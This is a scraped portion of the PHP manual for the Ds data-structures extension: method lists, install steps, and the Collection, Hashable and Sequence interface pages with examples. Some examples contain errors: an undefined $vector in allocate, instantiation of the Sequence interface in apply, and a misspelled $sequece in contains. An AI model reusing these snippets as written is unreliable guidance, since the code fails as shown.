    • Ds\Vector::get — Returns the value at a given index
    • Ds\Vector::insert — Inserts values at a given index
    • Ds\Vector::isEmpty — Returns whether the vector is empty
    • Ds\Vector::join — Joins all values together as a string
    • Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Vector::last — Returns the last value
    • Ds\Vector::map — Returns the result of applying a callback to each value
    • Ds\Vector::merge — Returns the result of adding all given values to the vector
    • Ds\Vector::pop — Removes and returns the last value
    • Ds\Vector::push — Adds values to the end of the vector
    • Ds\Vector::reduce — Reduces the vector to a single value using a callback function
    • Ds\Vector::remove — Removes and returns a value by index
    • Ds\Vector::reverse — Reverses the vector in-place
    • Ds\Vector::reversed — Returns a reversed copy
    • Ds\Vector::rotate — Rotates the vector by a given number of rotations
    • Ds\Vector::set — Updates a value at a given index
    • Ds\Vector::shift — Removes and returns the first value
    • Ds\Vector::slice — Returns a sub-vector of a given range
    • Ds\Vector::sort — Sorts the vector in-place
    • Ds\Vector::sorted — Returns a sorted copy
    • Ds\Vector::sum — Returns the sum of all values in the vector
    • Ds\Vector::toArray — Converts the vector to an array
    • Ds\Vector::unshift — Adds values to the front of the vector
  • Deque — The Deque class
    • Ds\Deque::allocate — Allocates enough memory for a required capacity
    • Ds\Deque::apply — Updates all values by applying a callback function to each value
    • Ds\Deque::capacity — Returns the current capacity
    • Ds\Deque::clear — Removes all values from the deque
    • Ds\Deque::__construct — Creates a new instance
    • Ds\Deque::contains — Determines if the deque contains given values
    • Ds\Deque::copy — Returns a shallow copy of the deque
    • Ds\Deque::count — Returns the number of values in the collection
    • Ds\Deque::filter — Creates a new deque using a callable to determine which values to include
    • Ds\Deque::find — Attempts to find a value's index
    • Ds\Deque::first — Returns the first value in the deque
    • Ds\Deque::get — Returns the value at a given index
    • Ds\Deque::insert — Inserts values at a given index
    • Ds\Deque::isEmpty — Returns whether the deque is empty
    • Ds\Deque::join — Joins all values together as a string
    • Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Deque::last — Returns the last value
    • Ds\Deque::map — Returns the result of applying a callback to each value
    • Ds\Deque::merge — Returns the result of adding all given values to the deque
    • Ds\Deque::pop — Removes and returns the last value
    • Ds\Deque::push — Adds values to the end of the deque
    • Ds\Deque::reduce — Reduces the deque to a single value using a callback function
    • Ds\Deque::remove — Removes and returns a value by index
    • Ds\Deque::reverse — Reverses the deque in-place
    • Ds\Deque::reversed — Returns a reversed copy
    • Ds\Deque::rotate — Rotates the deque by a given number of rotations
    • Ds\Deque::set — Updates a value at a given index
    • Ds\Deque::shift — Removes and returns the first value
    • Ds\Deque::slice — Returns a sub-deque of a given range
    • Ds\Deque::sort — Sorts the deque in-place
    • Ds\Deque::sorted — Returns a sorted copy
    • Ds\Deque::sum — Returns the sum of all values in the deque
    • Ds\Deque::toArray — Converts the deque to an array
    • Ds\Deque::unshift — Adds values to the front of the deque
  • Map — The Map class
    • Ds\Map::allocate — Allocates enough memory for a required capacity
    • Ds\Map::apply — Updates all values by applying a callback function to each value
    • Ds\Map::capacity — Returns the current capacity
    • Ds\Map::clear — Removes all values
    • Ds\Map::__construct — Creates a new instance
    • Ds\Map::copy — Returns a shallow copy of the map
    • Ds\Map::count — Returns the number of values in the map
    • Ds\Map::diff — Creates a new map using keys that aren't in another map
    • Ds\Map::filter — Creates a new map using a callable to determine which pairs to include
    • Ds\Map::first — Returns the first pair in the map
    • Ds\Map::get — Returns the value for a given key
    • Ds\Map::hasKey — Determines whether the map contains a given key
    • Ds\Map::hasValue — Determines whether the map contains a given value
    • Ds\Map::intersect — Creates a new map by intersecting keys with another map
    • Ds\Map::isEmpty — Returns whether the map is empty
    • Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Map::keys — Returns a set of the map's keys
    • Ds\Map::ksort — Sorts the map in-place by key
    • Ds\Map::ksorted — Returns a copy, sorted by key
    • Ds\Map::last — Returns the last pair of the map
    • Ds\Map::map — Returns the result of applying a callback to each value
    • Ds\Map::merge — Returns the result of adding all given associations
    • Ds\Map::pairs — Returns a sequence containing all the pairs of the map
    • Ds\Map::put — Associates a key with a value
    • Ds\Map::putAll — Associates all key-value pairs of a traversable object or array
    • Ds\Map::reduce — Reduces the map to a single value using a callback function
    • Ds\Map::remove — Removes and returns a value by key
    • Ds\Map::reverse — Reverses the map in-place
    • Ds\Map::reversed — Returns a reversed copy
    • Ds\Map::skip — Returns the pair at a given positional index
    • Ds\Map::slice — Returns a subset of the map defined by a starting index and length
    • Ds\Map::sort — Sorts the map in-place by value
    • Ds\Map::sorted — Returns a copy, sorted by value
    • Ds\Map::sum — Returns the sum of all values in the map
    • Ds\Map::toArray — Converts the map to an array
    • Ds\Map::union — Creates a new map using values from the current instance and another map
    • Ds\Map::values — Returns a sequence of the map's values
    • Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both
  • Pair — The Pair class
    • Ds\Pair::clear — Removes all values
    • Ds\Pair::__construct — Creates a new instance
    • Ds\Pair::copy — Returns a shallow copy of the pair
    • Ds\Pair::isEmpty — Returns whether the pair is empty
    • Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Pair::toArray — Converts the pair to an array
  • Set — The Set class
    • Ds\Set::add — Adds values to the set
    • Ds\Set::allocate — Allocates enough memory for a required capacity
    • Ds\Set::capacity — Returns the current capacity
    • Ds\Set::clear — Removes all values
    • Ds\Set::__construct — Creates a new instance
    • Ds\Set::contains — Determines if the set contains all values
    • Ds\Set::copy — Returns a shallow copy of the set
    • Ds\Set::count — Returns the number of values in the set
    • Ds\Set::diff — Creates a new set using values that aren't in another set
    • Ds\Set::filter — Creates a new set using a callable to determine which values to include
    • Ds\Set::first — Returns the first value in the set
    • Ds\Set::get — Returns the value at a given index
    • Ds\Set::intersect — Creates a new set by intersecting values with another set
    • Ds\Set::isEmpty — Returns whether the set is empty
    • Ds\Set::join — Joins all values together as a string
    • Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Set::last — Returns the last value in the set
    • Ds\Set::merge — Returns the result of adding all given values to the set
    • Ds\Set::reduce — Reduces the set to a single value using a callback function
    • Ds\Set::remove — Removes all given values from the set
    • Ds\Set::reverse — Reverses the set in-place
    • Ds\Set::reversed — Returns a reversed copy
    • Ds\Set::slice — Returns a sub-set of a given range
    • Ds\Set::sort — Sorts the set in-place
    • Ds\Set::sorted — Returns a sorted copy
    • Ds\Set::sum — Returns the sum of all values in the set
    • Ds\Set::toArray — Converts the set to an array
    • Ds\Set::union — Creates a new set using values from the current instance and another set
    • Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both
  • Stack — The Stack class
    • Ds\Stack::allocate — Allocates enough memory for a required capacity
    • Ds\Stack::capacity — Returns the current capacity
    • Ds\Stack::clear — Removes all values
    • Ds\Stack::__construct — Creates a new instance
    • Ds\Stack::copy — Returns a shallow copy of the stack
    • Ds\Stack::count — Returns the number of values in the stack
    • Ds\Stack::isEmpty — Returns whether the stack is empty
    • Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Stack::peek — Returns the value at the top of the stack
    • Ds\Stack::pop — Removes and returns the value at the top of the stack
    • Ds\Stack::push — Pushes values onto the stack
    • Ds\Stack::toArray — Converts the stack to an array
  • Queue — The Queue class
    • Ds\Queue::allocate — Allocates enough memory for a required capacity
    • Ds\Queue::capacity — Returns the current capacity
    • Ds\Queue::clear — Removes all values
    • Ds\Queue::__construct — Creates a new instance
    • Ds\Queue::copy — Returns a shallow copy of the queue
    • Ds\Queue::count — Returns the number of values in the queue
    • Ds\Queue::isEmpty — Returns whether the queue is empty
    • Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\Queue::peek — Returns the value at the front of the queue
    • Ds\Queue::pop — Removes and returns the value at the front of the queue
    • Ds\Queue::push — Pushes values into the queue
    • Ds\Queue::toArray — Converts the queue to an array
  • PriorityQueue — The PriorityQueue class
    • Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity
    • Ds\PriorityQueue::capacity — Returns the current capacity
    • Ds\PriorityQueue::clear — Removes all values
    • Ds\PriorityQueue::__construct — Creates a new instance
    • Ds\PriorityQueue::copy — Returns a shallow copy of the queue
    • Ds\PriorityQueue::count — Returns the number of values in the queue
    • Ds\PriorityQueue::isEmpty — Returns whether the queue is empty
    • Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON
    • Ds\PriorityQueue::peek — Returns the value at the front of the queue
    • Ds\PriorityQueue::pop — Removes and returns the value with the highest priority
    • Ds\PriorityQueue::push — Pushes values into the queue
    • Ds\PriorityQueue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Efficient data structures for PHP 7, provided as an alternative to the array.

See » this blog post for benchmarks, discussion and frequently asked questions.

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 7 is required by both the extension and the compatibility polyfill.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

The easiest way to install the extension is via » PECL

pecl install ds

You can also build directly from source:

# Dependencies you might need to install
# sudo apt-get install git build-essential php7.0-dev

git clone https://github.com/php-ds/extension "php-ds"
cd php-ds

# Build and install the extension
phpize
./configure
make
make install

# Clean up the build files
make clean
phpize --clean

If you're on Windows, you can » download a compiled .dll on PECL

注意:

If you're using Composer, it's highly recommended that you include » php-ds/php-ds in your project so that your code is still functional in an environment where the extension is not installed. The extension will take priority if installed.

User Contributed Notes

sirolad at yahoo dot com 17-Mar-2017 03:54
You can install using brew install homebrew/php/php71-ds on macOs
yyb8 at vip dot qq dot com 12-Jan-2017 05:38
Note: please load this extension after json extension,otherwise can't   load this extension.


例

例1 Vector

<?php

$vector = new \Ds\Vector();

$vector->push('a');
$vector->push('b', 'c');

$vector[] = 'd';

print_r($vector);

?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

例2 Map

<?php

$map = new \Ds\Map();

$map->put('a', 1);
$map->put('b', 2);

$map['c'] = 3;

print_r($map);

?>

上の例の出力は、 たとえば以下のようになります。

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

)

User Contributed Notes

There are no user contributed notes for this page.


The Collection interface

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

Collection is the base interface which covers functionality common to all the data structures in this library. It guarantees that all structures are traversable, countable, and can be converted to json using json_encode().

インターフェイス概要

Ds\Collection implements Traversable , Countable , JsonSerializable {
/* メソッド */
abstract public clear ( ) : void
abstract public copy ( ) : Ds\Collection
abstract public isEmpty ( ) : bool
abstract public toArray ( ) : array
}

目次

  • Ds\Collection::clear — Removes all values
  • Ds\Collection::copy — Returns a shallow copy of the collection
  • Ds\Collection::isEmpty — Returns whether the collection is empty
  • Ds\Collection::toArray — Converts the collection to an array

User Contributed Notes

depakin at yisangwu dot com 25-Mar-2020 06:07
// Collection
   $collection_a = new \Ds\Vector([1, 2, 3]);
   $collection_b = new \Ds\Vector();

   var_dump($collection_a, $collection_b);
    /*
        object(Ds\Vector)[1]
        public 0 => int 1
        public 1 => int 2
        public 2 => int 3

        object(Ds\Vector)[2]
    */

   //json_encode
   var_dump( json_encode($collection_a));
    /*
    string '[1,2,3]
    */

    //count
   var_dump(count($collection_a));
    /*
    int 3
    */

    // serialize
    var_dump(serialize($collection_a));
    /*
    string 'C:9:"Ds\Vector":12:{i:1;i:2;i:3;}'
    */

    // foreach
    foreach ($collection_a as $key => $value) {
       echo $key ,'--', $value, PHP_EOL;
    }
    /*
       0--1
       1--2
       2--3
     */

    // clone
    $clone = clone($collection_a);
    var_dump($clone);
    /*
      object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

    // push
    $clone->push('aa');
    var_dump($clone);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => string 'aa' (length=2)
     */

   // isEmpty
   var_dump($collection_a->isEmpty(), $collection_b->isEmpty());
    /*
    boolean false
    boolean true
     */

   // toArray
   var_dump($collection_a->toArray(), $collection_b->toArray());
    /*
     array (size=3)
      0 => int 1
      1 => int 2
      2 => int 3

    array (size=0)
      empty
    */

   // copy ( void )
   //浅拷?， shallow copy
   $collection_c = $collection_a->copy();

   var_dump($collection_c);
    /*
    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
    */

   $collection_c->push(4);
   var_dump($collection_a, $collection_c);
    /*
    object(Ds\Vector)[1]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3

    object(Ds\Vector)[3]
      public 0 => int 1
      public 1 => int 2
      public 2 => int 3
      public 3 => int 4
    */

    // clear
    $collection_a->clear();
    $collection_b->clear();
    $collection_c->clear();

    var_dump($collection_a, $collection_b, $collection_c);
    /*
    object(Ds\Vector)[1]
    object(Ds\Vector)[2]
    object(Ds\Vector)[3]
    */


Removes all values

  • ≪ Collection
  • Ds\Collection::copy ≫
  • PHP Manual
  • Collection
  • Removes all values

Ds\Collection::clear

(PECL ds >= 1.0.0)

Ds\Collection::clear — Removes all values

説明

abstract public Ds\Collection::clear ( ) : void

Removes all values from the collection.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Collection::clear() example

<?php
$collection = new \Ds\Vector([1, 2, 3]);
print_r($collection);

$collection->clear();
print_r($collection);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the collection

  • ≪ Ds\Collection::clear
  • Ds\Collection::isEmpty ≫
  • PHP Manual
  • Collection
  • Returns a shallow copy of the collection

Ds\Collection::copy

(PECL ds >= 1.0.0)

Ds\Collection::copy — Returns a shallow copy of the collection

説明

abstract public Ds\Collection::copy ( ) : Ds\Collection

Returns a shallow copy of the collection.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the collection.

例

例1 Ds\Collection::copy() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the collection is empty

  • ≪ Ds\Collection::copy
  • Ds\Collection::toArray ≫
  • PHP Manual
  • Collection
  • Returns whether the collection is empty

Ds\Collection::isEmpty

(PECL ds >= 1.0.0)

Ds\Collection::isEmpty — Returns whether the collection is empty

説明

abstract public Ds\Collection::isEmpty ( ) : bool

Returns whether the collection is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the collection is empty, false otherwise.

例

例1 Ds\Collection::isEmpty() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Converts the collection to an array

  • ≪ Ds\Collection::isEmpty
  • Hashable ≫
  • PHP Manual
  • Collection
  • Converts the collection to an array

Ds\Collection::toArray

(PECL ds >= 1.0.0)

Ds\Collection::toArray — Converts the collection to an array

説明

abstract public Ds\Collection::toArray ( ) : array

Converts the collection to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the collection.

例

例1 Ds\Collection::toArray() example

<?php
$collection = new \Ds\Vector([1, 2, 3]);

var_dump($collection->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


The Hashable interface

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

Hashable is an interface which allows objects to be used as keys. It's an alternative to spl_object_hash(), which determines an object's hash based on its handle: this means that two objects that are considered equal by an implicit definition would not treated as equal because they are not the same instance.

hash() is used to return a scalar value to be used as the object's hash value, which determines where it goes in the hash table. While this value does not have to be unique, objects which are equal must have the same hash value.

equals() is used to determine if two objects are equal. It's guaranteed that the comparing object will be an instance of the same class as the subject.

インターフェイス概要

Ds\Hashable {
/* メソッド */
abstract public equals ( object $obj ) : bool
abstract public hash ( ) : mixed
}

目次

  • Ds\Hashable::equals — Determines whether an object is equal to the current instance
  • Ds\Hashable::hash — Returns a scalar value to be used as a hash value

User Contributed Notes

There are no user contributed notes for this page.


Determines whether an object is equal to the current instance

  • ≪ Hashable
  • Ds\Hashable::hash ≫
  • PHP Manual
  • Hashable
  • Determines whether an object is equal to the current instance

Ds\Hashable::equals

(PECL ds >= 1.0.0)

Ds\Hashable::equals — Determines whether an object is equal to the current instance

説明

abstract public Ds\Hashable::equals ( object $obj ) : bool

Determines whether another object is equal to the current instance.

This method allows objects to be used as keys in structures such as Ds\Map and Ds\Set, or any other lookup structure that honors this interface.

注意:

It's guaranteed that obj is an instance of the same class.

警告

It's important that objects which are equal also have the same hash value. See Ds\Hashable::hash().

パラメータ

obj

The object to compare the current instance to, which is always an instance of the same class.

返り値

true if equal, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns a scalar value to be used as a hash value

  • ≪ Ds\Hashable::equals
  • Sequence ≫
  • PHP Manual
  • Hashable
  • Returns a scalar value to be used as a hash value

Ds\Hashable::hash

(PECL ds >= 1.0.0)

Ds\Hashable::hash — Returns a scalar value to be used as a hash value

説明

abstract public Ds\Hashable::hash ( ) : mixed

Returns a scalar value to be used as the hash value of the objects.

While the hash value does not define equality, all objects that are equal according to Ds\Hashable::equals() must have the same hash value. Hash values of equal objects don't have to be unique, for example you could just return true for all objects and nothing would break - the only implication would be that hash tables then turn into linked lists because all your objects will be hashed to the same bucket. It's therefore very important that you pick a good hash value, such as an ID or email address.

This method allows objects to be used as keys in structures such as Ds\Map and Ds\Set, or any other lookup structure that honors this interface.

警告

Do not pick a value that might change within the object, such as a public property. Hash table lookups would fail because the hash has changed.

警告

All objects that are equal must have the same hash value.

パラメータ

この関数にはパラメータはありません。

返り値

A scalar value to be used as this object's hash value.

例

例1 Ds\Hashable::hash() example

<?php
class HashableObject implements \Ds\Hashable
{
    private $name;
    private $email;

    public function __construct($name, $email)
    {
        $this->name  = $name;
        $this->email = $email;
    }

    /**
     * Should return the same value for all equal objects, but doesn't have to
     * be unique. This value will not be used to determine equality.
     */
    public function hash()
    {
        return $this->email;
    }

    /**
     * This determines equality, usually during a hash table lookup to determine
     * if the bucket's key matches the lookup key. The hash has to be equal if
     * the objects are equal, otherwise this determination wouldn't be reached.
     */
    public function equals($obj): bool
    {
        return $this->name  === $obj->name
            && $this->email === $obj->email;
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The Sequence interface

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Sequence describes the behaviour of values arranged in a single, linear dimension. Some languages refer to this as a "List". It's similar to an array that uses incremental integer keys, with the exception of a few characteristics:

  • Values will always be indexed as [0, 1, 2, ..., size - 1].
  • Only allowed to access values by index in the range [0, size - 1].

Use cases:

  • Wherever you would use an array as a list (not concerned with keys).
  • A more efficient alternative to SplDoublyLinkedList and SplFixedArray.

インターフェイス概要

Ds\Sequence implements Ds\Collection , ArrayAccess {
/* メソッド */
abstract public allocate ( int $capacity ) : void
abstract public apply ( callable $callback ) : void
abstract public capacity ( ) : int
abstract public contains ( mixed ...$values ) : bool
abstract public filter ( callable $callback = ? ) : Ds\Sequence
abstract public find ( mixed $value ) : mixed
abstract public first ( ) : mixed
abstract public get ( int $index ) : mixed
abstract public insert ( int $index , mixed ...$values ) : void
abstract public join ( string $glue = ? ) : string
abstract public last ( ) : mixed
abstract public map ( callable $callback ) : Ds\Sequence
abstract public merge ( mixed $values ) : Ds\Sequence
abstract public pop ( ) : mixed
abstract public push ( mixed ...$values ) : void
abstract public reduce ( callable $callback , mixed $initial = ? ) : mixed
abstract public remove ( int $index ) : mixed
abstract public reverse ( ) : void
abstract public reversed ( ) : Ds\Sequence
abstract public rotate ( int $rotations ) : void
abstract public set ( int $index , mixed $value ) : void
abstract public shift ( ) : mixed
abstract public slice ( int $index , int $length = ? ) : Ds\Sequence
abstract public sort ( callable $comparator = ? ) : void
abstract public sorted ( callable $comparator = ? ) : Ds\Sequence
abstract public sum ( ) : int|float
abstract public unshift ( mixed $values = ? ) : void
}

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The interface now extends ArrayAccess.

目次

  • Ds\Sequence::allocate — Allocates enough memory for a required capacity
  • Ds\Sequence::apply — Updates all values by applying a callback function to each value
  • Ds\Sequence::capacity — Returns the current capacity
  • Ds\Sequence::contains — Determines if the sequence contains given values
  • Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include
  • Ds\Sequence::find — Attempts to find a value's index
  • Ds\Sequence::first — Returns the first value in the sequence
  • Ds\Sequence::get — Returns the value at a given index
  • Ds\Sequence::insert — Inserts values at a given index
  • Ds\Sequence::join — Joins all values together as a string
  • Ds\Sequence::last — Returns the last value
  • Ds\Sequence::map — Returns the result of applying a callback to each value
  • Ds\Sequence::merge — Returns the result of adding all given values to the sequence
  • Ds\Sequence::pop — Removes and returns the last value
  • Ds\Sequence::push — Adds values to the end of the sequence
  • Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function
  • Ds\Sequence::remove — Removes and returns a value by index
  • Ds\Sequence::reverse — Reverses the sequence in-place
  • Ds\Sequence::reversed — Returns a reversed copy
  • Ds\Sequence::rotate — Rotates the sequence by a given number of rotations
  • Ds\Sequence::set — Updates a value at a given index
  • Ds\Sequence::shift — Removes and returns the first value
  • Ds\Sequence::slice — Returns a sub-sequence of a given range
  • Ds\Sequence::sort — Sorts the sequence in-place
  • Ds\Sequence::sorted — Returns a sorted copy
  • Ds\Sequence::sum — Returns the sum of all values in the sequence
  • Ds\Sequence::unshift — Adds values to the front of the sequence

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Sequence
  • Ds\Sequence::apply ≫
  • PHP Manual
  • Sequence
  • Allocates enough memory for a required capacity

Ds\Sequence::allocate

(PECL ds >= 1.0.0)

Ds\Sequence::allocate — Allocates enough memory for a required capacity

説明

abstract public Ds\Sequence::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

返り値

値を返しません。

例

例1 Ds\Sequence::allocate() example

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$vector->allocate(100);
var_dump($sequence->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ≪ Ds\Sequence::allocate
  • Ds\Sequence::capacity ≫
  • PHP Manual
  • Sequence
  • Updates all values by applying a callback function to each value

Ds\Sequence::apply

(PECL ds >= 1.0.0)

Ds\Sequence::apply — Updates all values by applying a callback function to each value

説明

abstract public Ds\Sequence::apply ( callable $callback ) : void

Updates all values by applying a callback function to each value in the sequence.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the sequence.

The callback should return what the value should be replaced by.

返り値

値を返しません。

例

例1 Ds\Sequence::apply() example

<?php
$sequence = new \Ds\Sequence([1, 2, 3]);
$sequence->apply(function($value) { return $value * 2; });

print_r($sequence);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Sequence::apply
  • Ds\Sequence::contains ≫
  • PHP Manual
  • Sequence
  • Returns the current capacity

Ds\Sequence::capacity

(PECL ds >= 1.0.0)

Ds\Sequence::capacity — Returns the current capacity

説明

abstract public Ds\Sequence::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Sequence::capacity() example

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$sequence->push(...range(1, 50));
var_dump($sequence->capacity());

$sequence[] = "a";
var_dump($sequence->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Determines if the sequence contains given values

  • ≪ Ds\Sequence::capacity
  • Ds\Sequence::filter ≫
  • PHP Manual
  • Sequence
  • Determines if the sequence contains given values

Ds\Sequence::contains

(PECL ds >= 1.0.0)

Ds\Sequence::contains — Determines if the sequence contains given values

説明

abstract public Ds\Sequence::contains ( mixed ...$values ) : bool

Determines if the sequence contains all values.

パラメータ

values

Values to check.

返り値

false if any of the provided values are not in the sequence, true otherwise.

例

例1 Ds\Sequence::contains() example

<?php
$sequence = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($sequence->contains('a'));                // true
var_dump($sequence->contains('a', 'b'));           // true
var_dump($sequence->contains('c', 'd'));           // false

var_dump($sequence->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($sequence->contains(1));                  // true
var_dump($sequence->contains('1'));                // false

var_dump($sequece->contains(...[]));               // true
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new sequence using a callable to determine which values to include

  • ≪ Ds\Sequence::contains
  • Ds\Sequence::find ≫
  • PHP Manual
  • Sequence
  • Creates a new sequence using a callable to determine which values to include

Ds\Sequence::filter

(PECL ds >= 1.0.0)

Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include

説明

abstract public Ds\Sequence::filter ( callable $callback = ? ) : Ds\Sequence

Creates a new sequence using a callable to determine which values to include.

パラメータ

callback

callback ( mixed $value ) : bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返り値

A new sequence containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

例

例1 Ds\Sequence::filter() example using callback function

<?php
$sequence = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($sequence->filter(function($value) {
    return $value % 2 == 0;
}));
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

例2 Ds\Sequence::filter() example without a callback function

<?php
$sequence = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($sequence->filter());
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ≪ Ds\Sequence::filter
  • Ds\Sequence::first ≫
  • PHP Manual
  • Sequence
  • Attempts to find a value's index

Ds\Sequence::find

(PECL ds >= 1.0.0)

Ds\Sequence::find — Attempts to find a value's index

説明

abstract public Ds\Sequence::find ( mixed $value ) : mixed

Returns the index of the value, or false if not found.

パラメータ

value

The value to find.

返り値

The index of the value, or false if not found.

注意:

Values will be compared by value and by type.

例

例1 Ds\Sequence::find() example

<?php
$sequence = new \Ds\Vector(["a", 1, true]);

var_dump($sequence->find("a")); // 0
var_dump($sequence->find("b")); // false
var_dump($sequence->find("1")); // false
var_dump($sequence->find(1));   // 1
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the sequence

  • ≪ Ds\Sequence::find
  • Ds\Sequence::get ≫
  • PHP Manual
  • Sequence
  • Returns the first value in the sequence

Ds\Sequence::first

(PECL ds >= 1.0.0)

Ds\Sequence::first — Returns the first value in the sequence

説明

abstract public Ds\Sequence::first ( ) : mixed

Returns the first value in the sequence.

パラメータ

この関数にはパラメータはありません。

返り値

The first value in the sequence.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Sequence::first() example

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->first());
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ≪ Ds\Sequence::first
  • Ds\Sequence::insert ≫
  • PHP Manual
  • Sequence
  • Returns the value at a given index

Ds\Sequence::get

(PECL ds >= 1.0.0)

Ds\Sequence::get — Returns the value at a given index

説明

abstract public Ds\Sequence::get ( int $index ) : mixed

Returns the value at a given index.

パラメータ

index

The index to access, starting at 0.

返り値

The value at the requested index.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Sequence::get() example

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->get(0));
var_dump($sequence->get(1));
var_dump($sequence->get(2));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

例2 Ds\Sequence::get() example using array syntax

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence[0]);
var_dump($sequence[1]);
var_dump($sequence[2]);
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ≪ Ds\Sequence::get
  • Ds\Sequence::join ≫
  • PHP Manual
  • Sequence
  • Inserts values at a given index

Ds\Sequence::insert

(PECL ds >= 1.0.0)

Ds\Sequence::insert — Inserts values at a given index

説明

